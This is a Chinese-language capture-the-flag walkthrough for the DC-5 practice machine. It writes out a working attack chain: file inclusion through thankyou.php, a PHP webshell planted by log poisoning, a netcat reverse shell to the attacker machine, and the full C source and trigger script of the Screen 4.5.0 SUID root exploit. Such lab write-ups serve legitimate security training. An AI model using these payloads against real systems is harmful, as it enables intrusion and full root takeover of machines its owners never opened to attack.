DC-5靶机复现
字数 829 2025-09-01 11:26:10
DC-5靶机渗透测试复现教学文档
1. 环境准备
1.1 靶机设置
- 将DC-5靶机设置为NAT模式(桥接模式可能无法扫描到)
- 使用
arp-scan扫描靶机IP地址:arp-scan -l
1.2 信息收集
- 使用
dirsearch扫描靶机Web目录:dirsearch -u 192.168.130.145
2. 漏洞发现与利用
2.1 文件包含漏洞
- 访问Web界面发现留言板页面
- 观察到页面底部copyright数字随刷新变化
- 确认
footer.php被包含在其他页面中 - 在
thankyou.php页面测试文件包含:http://192.168.130.145/thankyou.php?file=/etc/passwd
2.2 日志文件包含攻击
- 构造一句话木马并包含在请求中:
<?php system($_GET['cmd']); ?> - 该木马会被记录在Nginx日志文件中(默认路径:
/var/log/nginx/access.log) - 使用蚁剑连接:
http://192.168.130.145/thankyou.php?file=/var/log/nginx/access.log
3. 权限提升
3.1 反弹Shell
- 在攻击机开启监听:
nc -lvnp 4444 - 在靶机执行反弹:
nc 192.168.130.128 4444 -e /bin/sh - 切换到交互式Shell:
python -c 'import pty;pty.spawn("/bin/bash")'
3.2 SUID提权(Screen 4.5.0漏洞利用)
3.2.1 查找SUID文件
find / -perm -u=s -type f 2>/dev/null
发现存在screen-4.5.0命令
3.2.2 漏洞利用准备
-
创建
libhax.c文件:#include <stdio.h> #include <sys/types.h> #include <unistd.h> __attribute__ ((__constructor__)) void dropshell(void){ chown("/tmp/rootshell", 0, 0); chmod("/tmp/rootshell", 04755); unlink("/etc/ld.so.preload"); printf("[+] done!\n"); } -
编译(注意添加
-std=gnu89参数):gcc -fPIC -shared -o libhax.so libhax.c -std=gnu89 -
创建
rootshell.c文件:#include <stdio.h> int main(void){ setuid(0); setgid(0); seteuid(0); setegid(0); execvp("/bin/sh", NULL, NULL); } -
重要:必须在靶机环境中编译
rootshell.c:gcc -o rootshell rootshell.c -
创建
dc5.sh脚本:echo "[+] Now we create our /etc/ld.so.preload file..." cd /etc umask 000 # because screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed echo "[+] Triggering..." screen -ls # screen itself is setuid, so... /tmp/rootshell注意:保存前执行
:set ff=unix防止格式错误
3.2.3 执行提权
- 将三个文件上传到靶机
/tmp目录 - 在靶机
/tmp目录下:chmod 777 dc5.sh ./dc5.sh
4. 获取Flag
find / -name *flag*
cat /root/thisistheflag.txt
关键注意事项
- GLIBC版本问题:必须在靶机环境中编译
rootshell.c,否则可能因GLIBC版本不匹配导致提权失败 - 文件格式:确保脚本文件使用Unix格式(LF换行)
- 编译参数:高版本gcc需要添加
-std=gnu89参数 - 权限设置:确保
dc5.sh有执行权限(777)
通过以上步骤,可以完整复现DC-5靶机的渗透测试过程,从初始信息收集到最终获取root权限。